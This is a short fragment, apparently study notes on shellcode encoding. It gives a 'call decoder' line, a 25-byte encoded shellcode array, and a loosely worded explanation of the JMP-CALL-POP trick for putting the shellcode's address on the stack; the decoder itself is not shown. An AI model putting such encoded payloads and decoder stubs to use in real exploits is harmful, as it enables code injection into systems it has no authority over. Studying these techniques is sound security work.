call decoder \n shellcode: db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
go to _decoder label after entering shellcode (db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d) address on the top of the stack